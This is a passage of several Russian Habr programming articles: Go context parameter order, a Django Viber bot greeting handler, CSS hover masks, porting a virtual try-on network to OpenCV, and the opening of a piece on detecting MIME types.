в различных функциях. Вариативные функции в Go объявляют с использованием конструкции вида `elems ...Type`, которая должна располагаться в конце списка их параметров. В результате рекомендуется делать параметр типа `context.Context` первым параметром функции. Подобные соглашения имеются и в других проектах, например, в среде Node.js первым параметром, который передают коллбэкам, принято делать объект ошибки. ``` // Не рекомендовано func badPatternFunc(k favContextKey, ctx context.Context) {         // выполняем какие-то действия } // Рекомендовано func goodPatternFunc(ctx context.Context, k favContextKey) {         // выполняем какие-то действия } ``` На что стоит обратить внимание тем, кто хочет писать хороший код на Go? [![](https://habrastorage.org/r/w1560/webt/ou/g5/kh/oug5kh6sjydt9llengsiebnp40w.png)](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=ru_vds&utm_content=go_antipattern#order)
https://habr.com/ru/post/551032/
null
ru
null
# Создание полноценного Viberbot. Часть вторая — первый контакт или «сonversation_started» ### Отправка первого сообщения пользователю — приветствуем и подписываем В [первой части](https://habr.com/ru/post/486826/) мы научились ~~запускать стартер~~ устанавливать webhook для нашего проекта botviber. В этой 2-й мы научимся отправлять первое сообщение показываемое для наших пользователей, создавать ссылки для поиска и запуска нашего бота как внутри ViberURL так и NoViberURL ![image](https://habrastorage.org/r/w780q1/webt/ci/k4/py/cik4pyycxovsxsmki6rjrtupv6a.jpeg) #### Сформируем ссылки на бота 1) Oффлайн QR — его можно скачать из партнерской админки [viber](https://partners.viber.com/login) 2) Ссылка для месcенджера и передачи по мессенджеру ViberURL ``` viber://pa?chatURI=tvr&context=fromhabr ``` 3) Ссылка редирект [NoViberURL](https://viberbot.ru/radio) в интернете много таких сократителей URL — но все они похожи на спам, поэтому рекомендую создать свой код из трех строк PHP и положить файл себе на хостинг, вот содержимое файла foot.php ``` php header ("Location: viber://pa?chatURI=tvr"); exit();</code ``` #### Приветствия botviber или «event»: «conversation\_started» После открытия QR или перехода по ссылке на адрес нашего приложения от серверов Viber (Jetty) прилетают POST запросы с событием («event»: «conversation\_started») а их полное содержимое имеет следующий вид: **ВХОДЯЩИЕ ПАРАМЕТРЫ POST - или JSON из 13 полей** ``` { "chat_hostname": "SN-327_", # Если Viber на нескольких устройствах - будут разные "chat_hostname" "event": "conversation_started", # Событие первого запуска или инициализации бота на строне пользователя "context": "fromlanding", # тут можно получать UTM параметры источника ссылки "message_token": 5406893180055821524, # токен сообщения "subscribed": false, # пользователь еще не подписан, если тут true то уже подписан "timestamp": 1581161565470, # UNIXTIME "type": "open", # открытие диалога "user": { "api_version": 8, # поддерживаемая версия API на устройстве пользователя. "avatar": "https://media-direct.cdn.viber.com/avatar...", # ссылка на действующий аватар пользователя - у анонимных пусто, поля аватар отсутствует "country": "RU", # Принадлежность телефонного номера пользователя к стране (UA-украина, BY-беларусь, IL-израиль, MD - молдова) "id": "J2k6sasdgghaazDeoXVYww==", # ID пользователя в ВАШЕМ боте "language": "ru", # Язык приложения пользователя или язык устройства(если они совпадают) "name": "Denis" № #имя пользователя в Viber - то как он себя подписал - у анонимных пусто поля name не существует } } ``` **Но в большинстве случаев нас интересуют только эти 5 полей** ``` { "context": "fromlanding", # Для анализа эффекта рекламных кампаний "subscribed": false, "user": { "country": "RU", # Если проект глобальный страна нам пригодиться "id": "J2k6sasdgghaazDeoXVYww==", # ID будем сохранять в БД "name": "Denis" № #Имя пользователя можно сохранить, если оно есть. } } ``` **А Иногда нам нужно всего одно поле** «id»: «J2k6sasdgghaazDeoXVYww==» это Главный идентификатор Viber пользователя, аналог chat\_id в telegram. > И, прошу заметить, что в телеге chat\_id один по всей сети мессенджера во всех всех ботах — как мобильный номер, а у вайбер id — он как токен и уникален в пределах одного вашего бота. В другом боте ваш id станет другим… > > Обработаем их и ответим, чтобы получить один из трех ответов как на скрине выше а) type=«text» б) а тут мы видим классический случай type=«rich\_media» в) на третьем скрине Type=«keyboard» Детальнее на [viber REST API](http://developers.viber.com/docs/api/rest-bot-api), а ниже рассмотрим как получить первый вариант > Как мы уже видим botviber можно забрендировать под любой бизнес либо мини магазинчик, также подогнать стили под ваш основной сайт 1) для обработки пользовательских сообщений в файле проекта myviberbot/views.py внесем изменения: ``` # import requests # Добавим Библиотеку для отправки запросов import json from django.shortcuts import HttpResponse from django.views.decorators.csrf import csrf_exempt auth_token = '45df835d27d01f-cd2e7wetwerga18a8-9a7wert786234' #!ТОКЕН СТАВИМ СВОЙ ЭТО Фейковый неживой url = 'https://chatapi.viber.com/pa/send_message' headers = {'X-Viber-Auth-Token': auth_token} # ДЕКОРАТОР ДЛЯ функций и отправки def sending(func): def wrapped(*args): return requests.post(url, json.dumps(func(*args)), headers=headers) return wrapped # Отправка текста @sending def send_text(agent, text, track=None): m = dict(receiver=agent, min_api_version=2, tracking_data=track, type="text", text=text) return m @csrf_exempt def trx_bot(request): if request.method == "POST": viber = json.loads(request.body.decode('utf-8')) if viber['event'] == 'conversation_started': print("Приветствую пользователя") conversation(viber) #Обработка запроса - обзор функции следующий абзац. elif viber['event'] == 'webhook': #print(viber) #print("Webhook успешно установлен") return HttpResponse(status=200) else: print("Это не Webhook - пробуй еще раз, или используй POSTMAN") return HttpResponse(status=500) return HttpResponse(status=200) def conversation(viber): id = viber['user']['id'] if viber['subscribed']: send_text(id, 'ВЫ УЖЕ ПОДПИСАНЫ') else: send_text(id, 'Что умеет этот бот?\n\nЗависит от ваших идей. Отправь мне что угодно и присоединяйся...') ``` Перезапустим наш проект Django. К сожалению «Rakuten Viber» никому не дает официальные страницы на PA и сообщество, исключения крупные бренды и публичные личности, поэтому для SEO продвижения и PR по соцсетям и др. рекомендую создать минилендинг — мелкая страница на которую переходят все с основного сайта или др. ресурсов вот образец: [![](https://habrastorage.org/r/w780q1/webt/le/f8/jp/lef8jpeb1jvzrdzheg-qqbtf3eq.jpeg)](https://viberbot.ru/radio) Удачного запуска botviber. Продолжение следует… В следующей статье мы разберем event[«message»], для обработки пользовательских сообщений, вы узнаете, что сделать чтоб вести диалог, как отделять следующие сообщения, вообще как botviber научить понимать, что это следующие. (Создание полноценного Viberbot на Django 2 и Viber REST API. Часть третья — Message) Материалы: [Документация viber REST API](http://developers.viber.com/docs/api/rest-bot-api/) [Django версии 2.2](https://docs.djangoproject.com/en/2.2/) [Радиовайбер-минилендинг](https://viberbot.ru/radio)
https://habr.com/ru/post/486858/
null
ru
null
# CSS-маски для hover-эффекта ![](https://habrastorage.org/r/w780q1/storage2/cc4/7bc/429/cc47bc42971e29cf2ae5f287cfcbd040.jpg) На многих сайтах-портфолио работы представлены в виде небольших картинок-миниатюр с приятными hover-эффектами. В этой статье будет рассказано о способе сделать такой эффект, используя CSS-маски. Работает только в современных браузерах, но к счастью и в старых верстка выглядит корректно и не съезжает. Примеры ------- Для начала несколько примеров из [подборки с красивыми страницами портфолио](http://www.queness.com/post/11203/11-minimal-and-elegant-portfolio-page-with-subtle-animation) — [Rally Interactive](http://beta.rallyinteractive.com/), [I Am Yuna](http://www.iamyuna.com/), [Mickael Larcheveque](http://dotmick.com/), [Haus](http://work.madeinhaus.com/): ![](https://habrastorage.org/r/w780q1/storage2/ec6/81d/147/ec681d147e798dd33c7028777fe431b0.jpg) Реализация ---------- Для эффекта используется только HTML & CSS. Чтобы страница корректно отображалась во всех браузерах, в качестве маски используем прозрачный PNG, а не CSS Shapes или какие-то другие необычные техники: ![](https://habrastorage.org/r/w1560/storage2/408/ae7/dd4/408ae7dd45544a1e549de3b11e933259.png) Наглядная схема всей конструкции: ![](https://habrastorage.org/r/w1560/storage2/c80/e4a/241/c80e4a241e598bd6ddeabe23b168458e.png) * **.overlay** — PNG-файл маски * **.details** — контент: заголовок, описание, ссылка * **.bg** — слой с фоновым цветом * **.base** — картинка-миниатюра портфолио * **.shape** — слой, собирающий все вместе HTML-разметка: ``` {TITLE} --- {DESCRIPTION} [VIEW]({URL}) ![]({IMAGE URL}) ``` Для реализации эффекта не нужен JavaScript. Применяется псевдокод **:hover** и CSS-анимация. **Кусок кода для CSS-анимации** ``` .shape .overlay { display:block; width: 310px; height: 310px; position: absolute; top:-5px; left:-5px; -webkit-transform: scale(1,1); -webkit-transition-timing-function: ease-out; -webkit-transition-duration: 0.6s; -moz-transform: scale(1,1); -moz-transition-timing-function: ease-out; -moz-transition-duration: 0.6s; transform: scale(1,1); transition-timing-function: ease-out; transition-duration: 0.6s; z-index:500; /* allow user to actually perform actions underneath this layer */ pointer-events:none; background-repeat: no-repeat; } ...... /* hover effect */ .shape:hover .overlay { -webkit-transform: scale(1.07,1.07); -webkit-transition-timing-function: ease-out; -webkit-transition-duration: 0.3s; -moz-transform: scale(1.07,1.07); -moz-transition-timing-function: ease-out; -moz-transition-duration: 0.3s; } .shape:hover .bg { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=80)"; filter: alpha(opacity=80); -moz-opacity: 0.8; -khtml-opacity: 0.8; opacity: 0.8; display:block; } .shape:hover .details { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; filter: alpha(opacity=100); -moz-opacity: 1; -khtml-opacity: 1; opacity: 1; z-index:450; display:block; } ``` **Полный CSS-код** ``` .shape { width: 300px; height: 300px; position: relative; } .shape .overlay { display:block; width: 310px; height: 310px; position: absolute; top:-5px; left:-5px; -webkit-transform: scale(1,1); -webkit-transition-timing-function: ease-out; -webkit-transition-duration: 0.6s; -moz-transform: scale(1,1); -moz-transition-timing-function: ease-out; -moz-transition-duration: 0.6s; transform: scale(1,1); transition-timing-function: ease-out; transition-duration: 0.6s; z-index:500; /* allow user to actually perform actions underneath this layer */ pointer-events:none; background-repeat: no-repeat; } /* different shapes */ .shape .overlay.round { background: url(round.png); } .shape .overlay.hexagon { background: url(hexagon.png); } .shape .overlay.pentagon { background: url(pentagon.png); } /* hover effect */ .shape:hover .overlay { -webkit-transform: scale(1.07,1.07); -webkit-transition-timing-function: ease-out; -webkit-transition-duration: 0.3s; -moz-transform: scale(1.07,1.07); -moz-transition-timing-function: ease-out; -moz-transition-duration: 0.3s; } .shape:hover .bg { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=80)"; filter: alpha(opacity=80); -moz-opacity: 0.8; -khtml-opacity: 0.8; opacity: 0.8; display:block; } .shape:hover .details { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; filter: alpha(opacity=100); -moz-opacity: 1; -khtml-opacity: 1; opacity: 1; z-index:450; display:block; } /* content styles */ .shape .bg, .shape .details { position: absolute; width: 300px; height:300px; display:table-cell; vertical-align:middle; text-align:center; top:0; left:0; opacity:0; -webkit-transition: all 0.3s ease; -moz-transition: all 0.3s ease; -o-transition: all 0.3s ease; transition: all 0.3s ease; display:none; } .shape .bg { background: #4b5a78; } .shape .details span.heading { font-family: 'Roboto Condensed', serif; font-size:30px; display:block; margin-top:70px; color:#fff; text-decoration:none; } .shape .details p { font-family: 'Abel', sans-serif; color:#fff; width: 70%; font-size:14px; margin:0 auto; } .shape a.button { padding:5px 15px; font-family: 'Abel', sans-serif; font-size:12px; -webkit-border-radius: 20px; -moz-border-radius: 20px; -ms-border-radius: 20px; -o-border-radius: 20px; border-radius: 20px; background: #2f3644; text-decoration:none; color:#fff; display:block; width:50px; margin:0 auto; text-align:center; margin-top:15px; } .shape a.button:hover { background: #fff; color: #2f3644; } ``` [Демонстрация получившегося эффекта](http://www.queness.com/resources/html/masking-images-with-shape/index.html). Что касается кроссбраузерности, эффект корректно работает в современных браузерах, а также в Internet Explorer 8. А [вот еще один способ](http://www.queness.com/post/13901/create-beautiful-hexagon-shapes-with-pure-css3) отображения элементов портфолио на сайте с использованием CSS Transform и Masking ([демонстрация](http://www.queness.com/resources/html/css3-hexagon/index.html)): ![](https://habrastorage.org/r/w1560/storage2/4f8/422/a78/4f8422a788f6200ed8e26b6fb09eb514.png) Любопытно, как в этом примере строится маска в виде шестиугольника: ![](https://habrastorage.org/r/w780q1/storage2/cd3/9fe/c4b/cd39fec4b082f1c3dcafe7817c8cf044.jpg) Полезное чтиво и использованный материал: * [Хороший урок по CSS Masking](http://www.html5rocks.com/en/tutorials/masking/adobe/) от HTML5Rocks * [CSS Masking](http://www.w3.org/TR/css-masking/) от W3C * [Display Images with Shape Masking and Nifty Zoom Effect](http://www.queness.com/post/14450/display-images-with-shape-masking-and-nifty-zoom-effect) * [Create Beautiful Hexagon Shapes With Pure CSS3](http://www.queness.com/post/13901/create-beautiful-hexagon-shapes-with-pure-css3) ![](https://habrastorage.org/getpro/habr/post_images/afa/19d/045/afa19d045b2bce238895a5f2856f9174.gif)
https://habr.com/ru/post/164409/
null
ru
null
# Виртуальная примерочная в OpenCV Было ли у вас такое, что в интернет-магазине понравилась какая-нибудь вещь, но не хочется покупать ее, не примерив? Конечно, в некоторых магазинах есть возможность примерить одежду после заказа перед оплатой. Однако по статистике каждый год доля онлайн-заказов в интернет-магазинах одежды и обуви растет, но также растет и доля возвратов, она составляет 50–70% — это огромные затраты на логистику, которые можно будет значительно сократить, используя онлайн-примерочную. Представьте, вы загружаете свою фотографию, выбираете одежду и она переносится на ваше изображение. Уже существуют виртуальные примерочные обуви, они работают достаточно успешно. Некоторое время назад нас заинтересовала эта тема, как обстоят дела с одеждой? Такие работы тоже существуют, но успешных гораздо меньше, во многих из них кроме статьи найти ничего не удается, о рабочем примере остается только мечтать. Мы решили исправить это и поддержать одну из сетей в библиотеке OpenCV. Что из этого вышло можете увидеть в [virtual\_try\_on.py](https://github.com/opencv/opencv/blob/master/samples/dnn/virtual_try_on.py) sample. ![](https://habrastorage.org/r/w780q1/webt/ph/-z/of/ph-zofulxoocdovsziuo3nvo_94.jpeg) Результат не идеален, но в данной области считается достаточно хорошим. Хотите узнать как работает виртуальная примерочная и с какими сложностями мы столкнулись при интеграции модели в OpenCV — добро пожаловать под кат! Мы выбрали нейронную сеть 2019 года [CP-VTON](https://arxiv.org/pdf/1807.07688) с достаточно хорошим визуальным результатом. По сравнению с аналогами CP-VTON интересна тем, что она достаточно точно может передать форму одежды в сгенерированном изображении, а также при передаче не теряются особенности одежды (рисунок, логотип и текстура). Некоторые аналогичные сети используют 3D модели человека, для получения которых требуется 3D-сканер. Этот факт существенно сокращает области применимости модели. Также большим плюсом является наличие кода на github. Но авторы CP-VTON в [репозитории](https://github.com/sergeywong/cp-vton) приводят только скрипты для тренировки и тестирования, нет никакой демки, чтобы попробовать сеть на своих фотографиях. Мы натренировали сеть самостоятельно и выложили ее в открытый доступ. Принцип работы -------------- Модель CP-VTON состоит из двух подмодулей: GMM (Geometric Matching Module) — модуль для деформации одежды в соответствие с позой человека и TOM (Try-On Module) — модуль для переноса деформированной одежды на изображение человека. Для тренировки GMM требуется тройка ![$(I, c, c_t )$](https://habrastorage.org/getpro/habr/formulas/1e5/045/f63/1e5045f639b6cf1f41efbbb416b0d736.svg), а для TOM — ![$(I, \hat{c}, I_t)$](https://habrastorage.org/getpro/habr/formulas/978/a8e/58c/978a8e58c0c8422612817dac29e95946.svg), ![$I$](https://habrastorage.org/getpro/habr/formulas/64b/eb7/37a/64beb737a23fb5cb0a455f0e9213f2a4.svg) — изображение человека, ![$c$](https://habrastorage.org/getpro/habr/formulas/e1a/229/081/e1a229081e8db6ee98dfb79797b987dd.svg) — изображение одежды, ![$\hat{c}$](https://habrastorage.org/getpro/habr/formulas/bab/644/351/bab6443514c51620fd2f50a21588b04b.svg) — выход GMM, ![$I_t$](https://habrastorage.org/getpro/habr/formulas/054/4a4/479/0544a4479e3c5a0260c13aa556b9bd10.svg) — ground truth (человек в одежде ![$c$](https://habrastorage.org/getpro/habr/formulas/e1a/229/081/e1a229081e8db6ee98dfb79797b987dd.svg)), ![$c_t$](https://habrastorage.org/getpro/habr/formulas/f7e/ab5/000/f7eab5000a19720375a5604c4e631f03.svg) — ground truth (деформированная одежда, получается наложением маски одежды на ![$I_t$](https://habrastorage.org/getpro/habr/formulas/054/4a4/479/0544a4479e3c5a0260c13aa556b9bd10.svg)). Но такие тройки достаточно тяжело собрать, обычно есть только ![$I_t$](https://habrastorage.org/getpro/habr/formulas/054/4a4/479/0544a4479e3c5a0260c13aa556b9bd10.svg) и ![$c$](https://habrastorage.org/getpro/habr/formulas/e1a/229/081/e1a229081e8db6ee98dfb79797b987dd.svg). Решение этой проблемы предлагалось в одной из предыдущих работ [VITON](https://arxiv.org/pdf/1711.08447.pdf), авторы статьи вместо ![$I$](https://habrastorage.org/getpro/habr/formulas/64b/eb7/37a/64beb737a23fb5cb0a455f0e9213f2a4.svg) на вход сети подавали тензор с описанием человека ![$p$](https://habrastorage.org/getpro/habr/formulas/839/f25/c27/839f25c2746382debd4f08ea25ad5ecf.svg). При создании ![$p$](https://habrastorage.org/getpro/habr/formulas/839/f25/c27/839f25c2746382debd4f08ea25ad5ecf.svg) преследовалась цель максимального сохранения информации о человеке, включая лицо, волосы, форму тела и позу, но минимизируя влияние старой одежды (цвет, форма, текстура). Этот подход позволяет не показывать сети эталонное изображение человека в желаемой одежде. Таким образом, GMM принимает на вход ![$(p, c)$](https://habrastorage.org/getpro/habr/formulas/106/fc0/15a/106fc015a2653cdb8d51e0bac02b9dc1.svg) и генерирует деформированную одежду ![$\hat{c}$](https://habrastorage.org/getpro/habr/formulas/bab/644/351/bab6443514c51620fd2f50a21588b04b.svg), которая во время тренировки сравнивается с ![$c_t$](https://habrastorage.org/getpro/habr/formulas/f7e/ab5/000/f7eab5000a19720375a5604c4e631f03.svg). TOM принимает на вход ![$(p, \hat{c})$](https://habrastorage.org/getpro/habr/formulas/2db/cca/af6/2dbccaaf69a3016dec440f5e54590593.svg), а выход сети ![$I_o$](https://habrastorage.org/getpro/habr/formulas/249/c9d/589/249c9d5896890326a5b266c1040e7642.svg) сравнивается с ![$I_t$](https://habrastorage.org/getpro/habr/formulas/054/4a4/479/0544a4479e3c5a0260c13aa556b9bd10.svg). Рассмотрим поподробнее формирование тензора ![$p$](https://habrastorage.org/getpro/habr/formulas/839/f25/c27/839f25c2746382debd4f08ea25ad5ecf.svg). Описание человека состоит из маски тела человека, ключевых точек позы и изображения головы. Сначала по фотографии выполняется поиск ключевых точек с помощью сети [OpenPose](https://github.com/CMU-Perceptual-Computing-Lab/openpose). Для получения бинарной маски тела человека используется семантическая сегментация одежды и частей тела. Эта задача решается с помощью модели [LIP\_JPPNet](https://arxiv.org/pdf/1804.01984.pdf). В процессе ее поддержки в OpenCV добавился (самостоятельный) sample [human\_parsing.py](https://github.com/opencv/opencv/blob/master/samples/dnn/human_parsing.py). Для маски тела берутся все ненулевые пиксели, для маски головы — пиксели, соответствующие классам: лицо, солнцезащитные очки, головной убор и волосы. Затем маска тела размывается, а маска головы накладывается на входное изображение. ![preprocessing](https://habrastorage.org/r/w1560/webt/zc/z5/yd/zcz5yd4mri1tjefo1_ky9n82aoi.png) Рассмотрим работу модулей. GMM используется для изменения формы желаемой одежды в соответствие с позой человека. В процессе работы сеть извлекает ключевые признаки из изображения одежды и тензора с описанием человека независимо, нормирует признаки, используя ![$L_2-норму$](https://habrastorage.org/getpro/habr/formulas/d2f/e5c/3bc/d2fe5c3bc54c285144ce0f535ec019fe.svg). Вычисляется корреляция признаков и выполняется прогнозирование вектора параметров пространственного преобразования. По нему в результате постобработки генерируется сетка деформации исходного изображения одежды. С помощью билинейной интерполяции одежды по узлам сетки получается форма одежды, соответствующая позе человека. Для сравнения полученной деформации одежды ![$\hat{c}$](https://habrastorage.org/getpro/habr/formulas/bab/644/351/bab6443514c51620fd2f50a21588b04b.svg) с ![$c_t$](https://habrastorage.org/getpro/habr/formulas/f7e/ab5/000/f7eab5000a19720375a5604c4e631f03.svg) используется ![$L_1-loss$](https://habrastorage.org/getpro/habr/formulas/775/69b/0b5/77569b0b542e7106b20f175213a24763.svg). ![gmm](https://habrastorage.org/r/w1560/webt/hw/er/qe/hwerqehwxjvyyytowzqfp_3l64g.png) Модуль TOM переносит деформированную одежду на изображение с человеком. Сеть базируется на архитектуре Unet. Данная архитектура была выбрана, потому что при непосредственном переносе деформированной одежды на изображение человека результат выглядит неестественно на стыках и местах соприкосновения человека и одежды. Unet позволяет избавиться от этого, делая переходы более плавными. Однако невозможно идеально выровнять одежду по фигуре, поэтому даже незначительное смещение одежды относительно позы может сделать выход Unet размытым. Сеть представляет собой последовательность сверток и пулингов, которые уменьшают пространственное разрешение картинки. А потом разрешение увеличивается последовательностью Upsample и сверток. Кодировщик (encoder) в сети является предварительно обученным VGG-19. Чтобы выходное изображение не было слишком размытым используется следующий подход. Unet предсказывает образ человека ![$I_r$](https://habrastorage.org/getpro/habr/formulas/126/169/ecb/126169ecb9184d5a7dd84d284e35868a.svg) и композиционную маску ![$M$](https://habrastorage.org/getpro/habr/formulas/94d/13e/e0a/94d13ee0aadd7f17977e0d279af38d42.svg). Затем маска комбинируется с деформированной одеждой ![$c$](https://habrastorage.org/getpro/habr/formulas/e1a/229/081/e1a229081e8db6ee98dfb79797b987dd.svg) и накладывается на ![$I_r$](https://habrastorage.org/getpro/habr/formulas/126/169/ecb/126169ecb9184d5a7dd84d284e35868a.svg), скомбинированный с обратной маской ![$(1 - M)$](https://habrastorage.org/getpro/habr/formulas/691/11a/755/69111a7550b5ec5e0a7b5e6bcb3bb9da.svg) и получается результирующее изображение ![$I_o$](https://habrastorage.org/getpro/habr/formulas/249/c9d/589/249c9d5896890326a5b266c1040e7642.svg). ![$I_o=M\odot c + (1 - M)\odot I_r$](https://habrastorage.org/getpro/habr/formulas/e09/480/373/e094803736124a85bc972fc603c19c01.svg) ![$\odot$](https://habrastorage.org/getpro/habr/formulas/671/469/35c/67146935cf5aba0e5a807a03b1a373cb.svg) — знак поэлементного матричного умножения. ![tom](https://habrastorage.org/r/w1560/webt/hl/fn/pe/hlfnpepqe0u6txqjkfpof3qgbpm.png) При обучении сети главная цель Try-On модуля — минимизация несоответствия ![$I_o$](https://habrastorage.org/getpro/habr/formulas/249/c9d/589/249c9d5896890326a5b266c1040e7642.svg) с ![$I_t$](https://habrastorage.org/getpro/habr/formulas/054/4a4/479/0544a4479e3c5a0260c13aa556b9bd10.svg). При попиксельном сравнении результата работы сети и изображения из разметки малое значение функции потерь будет соответствовать размытым изображениям. А похожим с точки зрения человека изображениям, но с небольшими сдвигами, будет соответствовать большое значение функции потерь. Чтобы избежать этих недостатков используют комбинацию ![$L_1- loss$](https://habrastorage.org/getpro/habr/formulas/775/69b/0b5/77569b0b542e7106b20f175213a24763.svg) с [perceptual loss](https://arxiv.org/pdf/1603.08155.pdf). Картинка из разметки и предсказание сети пропускаются через несколько слоев сети VGG и сравниваются полученные нейросетевые признаки, которые будут инвариантны к небольшому изменению положения в пространстве. Также VGG чувствительна к резким изменениям яркости пикселей — это позволяет устранить размытость в изображении, сделав большим значение функции потерь на таких картинках. Реализация в OpenCV ------------------- Для работы сети кроме изображения человека и одежды также требуется изображение с семантической сегментацией частей тела человека и одежды на нем и файл с ключевыми точками тела человека. Авторы статьи использовали json файлы с сохраненными точками тела человека, полученные с помощью сети OpenPose из Caffe, и изображения с сегментацией из разметки датасета LIP. Чтобы сделать демо удобным для использования, поиск ключевых точек и сегментацию мы делаем на лету, поэтому от пользователя на вход требуется только фотография человека и изображение новой одежды. ``` python3 virtual_try_on.py -i person_img.jpg -c cloth.jpg ``` При портировании сети в OpenCV нужно было убрать всю предобработку через PIL. Тут возникли чудеса с сегментацией. В датасете LIP представлены полутоновые изображения, где интенсивность пикселя соответствует классу объекта. А при скачивании датасета для CP-VTON эти же изображения уже цветные. Читается трехканальное изображение, но потом выполняется работа с одноканальными изображениями: ``` shape = (segm > 0).astype(np.float32) head = (segm == 1).astype(np.float32) + \ (segm == 2).astype(np.float32) + \ (segm == 4).astype(np.float32) + \ (segm == 13).astype(np.float32) cloth = (segm == 5).astype(np.float32) + \ (segm == 6).astype(np.float32) + \ (segm == 7).astype(np.float32) ``` Оказывается, что PIL может хранить цветное изображение и кодировку, с помощью которой оно было получено. Перевод лейблов в цвета лежал в human\_colormap.mat. Как их оттуда прочитать? Matlab ставить не хотелось. К счастью, scipy имеет загрузчик таких файлов. Потратив немного (много) времени на эти махинации удалось извлечь из сегментации маску тела и головы. Дальше – больше. Для размытия маски ее сначала уменьшают в 16 раз, затем возвращают исходные размеры. ``` mask = mask.resize((width // 16, height // 16), Image.BILINEAR) mask = mask.resize((width, height), Image.BILINEAR) ``` Получаем маску в оттенках серого. Для этого используют билинейную интерполяцию. Кажется, что может быть проще при переносе в OpenCV. Заменили PIL resize на cv.resize и получили совсем другой результат. ![](https://habrastorage.org/r/w780q1/webt/dg/2h/ss/dg2hssxuigwj2s7grc9ja0humag.jpeg) ![](https://habrastorage.org/r/w780q1/webt/6v/bs/zp/6vbszpfhzfnr_d17k6wc76pzjak.jpeg) Слева маска, полученная через PIL resize, справа — cv.resize. Маски получились вообще не похожи, а результат работы сети? В общем смотрите сами. ![mask_pil](https://habrastorage.org/r/w780q1/webt/ux/ud/0x/uxud0x1nalslqajcfpdj65l8eyg.jpeg) ![mask_ocv](https://habrastorage.org/r/w780q1/webt/z5/5x/yy/z55xyyajx9hj1jxarrgui4s3krw.jpeg) Слева результат, полученный при использовании маски с PIL resize, справа — cv.resize. Выглядит грустновато, не хотелось бы так уродовать людям руки. Что же это за билинейная интерполяция такая? Изрядно погуглив, так и не удалось ничего найти. Оставался последний, но верный способ – смотреть исходники на С. Там удалось увидеть, что bilinear resize вовсе не похож на bilinear, а скорее area. Размер ядра зависит от scale factor, в нашем случае ядро имело размер 33 = 16 \* 2 + 1, в то время как в OpenCV ядро фиксированного размера – 3. Одновременно с этим мы заметили, что значения пикселей отличаются только при уменьшении размеров, а при восстановлении результаты получаются достаточно близки. Но изменение типа интерполяции все равно не помогло добиться нужного результата. Смотрим дальше. Коэффициенты интерполяции считаются очень странным образом, получаются не симметричны. Это нам уже никак не удавалось смоделировать. Поэтому пришлось написать небольшой класс с таким типом интерполяции: **Реализация билинейной интерполяции из PIL** ``` class BilinearFilter(object): """ PIL bilinear resize implementation image = image.resize((image_width // 16, image_height // 16), Image.BILINEAR) """ def _precompute_coeffs(self, inSize, outSize): filterscale = max(1.0, inSize / outSize) ksize = int(np.ceil(filterscale)) * 2 + 1 kk = np.zeros(shape=(outSize * ksize, ), dtype=np.float32) bounds = np.empty(shape=(outSize * 2, ), dtype=np.int32) centers = (np.arange(outSize) + 0.5) * filterscale + 0.5 bounds[::2] = np.where(centers - filterscale < 0, 0, centers - filterscale) bounds[1::2] = np.where(centers + filterscale > inSize, inSize, centers + filterscale) - bounds[::2] xmins = bounds[::2] - centers + 1 points = np.array([np.arange(row) + xmins[i] for i, row in enumerate(bounds[1::2])]) / filterscale for xx in range(0, outSize): point = points[xx] bilinear = np.where(point < 1.0, 1.0 - abs(point), 0.0) ww = np.sum(bilinear) kk[xx * ksize : xx * ksize + bilinear.size] = np.where(ww == 0.0, bilinear, bilinear / ww) return bounds, kk, ksize def _resample_horizontal(self, out, img, ksize, bounds, kk): for yy in range(0, out.shape[0]): for xx in range(0, out.shape[1]): xmin = bounds[xx * 2 + 0] xmax = bounds[xx * 2 + 1] k = kk[xx * ksize : xx * ksize + xmax] out[yy, xx] = np.round(np.sum(img[yy, xmin : xmin + xmax] * k)) def _resample_vertical(self, out, img, ksize, bounds, kk): for yy in range(0, out.shape[0]): ymin = bounds[yy * 2 + 0] ymax = bounds[yy * 2 + 1] k = kk[yy * ksize: yy * ksize + ymax] out[yy] = np.round(np.sum(img[ymin : ymin + ymax, 0:out.shape[1]] * k[:, np.newaxis], axis=0)) def imaging_resample(self, img, xsize, ysize): height, width, *args = img.shape bounds_horiz, kk_horiz, ksize_horiz = self._precompute_coeffs(width, xsize) bounds_vert, kk_vert, ksize_vert = self._precompute_coeffs(height, ysize) out_hor = np.empty((img.shape[0], xsize), dtype=np.uint8) self._resample_horizontal(out_hor, img, ksize_horiz, bounds_horiz, kk_horiz) out = np.empty((ysize, xsize), dtype=np.uint8) self._resample_vertical(out, out_hor, ksize_vert, bounds_vert, kk_vert) return out ``` Результаты ---------- В общем получился достаточно интересный пайплайн из 4 сетей, полученных из разных фреймворков, но дружно работающих в OpenCV. При тестировании сети на реальных фотографиях мы заметили несколько особенностей сети. В тренировочном датасете были только изображения девушек, поэтому сеть не всегда хорошо работает с мужчинами. Руки у них становятся более женственные, а переход от головы к телу имеет очень яркую границу. Также для получения качественного результата нужно загружать фото с соотношением сторон пропорциональных 256 на 192, иначе сеть прибавит пару килограммов. Мы добавили кадрирование исходного изображения в sample до получения нужного соотношения между шириной и высотой. Лучше чтобы кроме человека ничего не было, а одежда на изображении должна находиться на белом фоне без каких-либо узоров и надписей, иначе эти части тоже будут восприниматься как одежда. P.S. В мае 2020 года OpenCV отмечает свое 20-летие. Мы планируем в этом году писать больше статей и придумывать другие активности. Следите за новостями!
https://habr.com/ru/post/489906/
null
ru
null
# Определение MIME-типов Привет, хабр! Недавно задался вопросом а сколько байт необходимо для корректного определения mime типа файла. В первую очередь погуглив, полученными ответами не удовлетворился и поэтому решил сам провести маленькое исследование на эту тему. На изучение данного вопроса меня натолкнула следующая задача: определение MIME-типа файла, находящегося на smb-сервере. Лучшее, что я придумал — копировать кусок файла на локальную машину и потом, по этой части пытаться распознать его MIME-тип. ![](https://habrastorage.org/r/w1560/storage2/44d/871/305/44d87130536d4c1f85e23c8de55eb9f9.png) Для начала расскажу, что я нагуглил и почему мне это не понравилось: [Stack Overflow](http://stackoverflow.com/questions/8673407/how-many-bytes-are-required-for-accurate-mime-type-detection) дает 2 ссылки на википедию: 1. [File Signature](http://en.wikipedia.org/wiki/File_signature) говорит, что в большинстве случаев достаточно 2-4 байтов. Однако к сожалению это не так, например, для такого популярного формата, как pdf. 2. [List of signatures](http://en.wikipedia.org/wiki/List_of_file_signatures) приводит некоторый список подписей для файлов 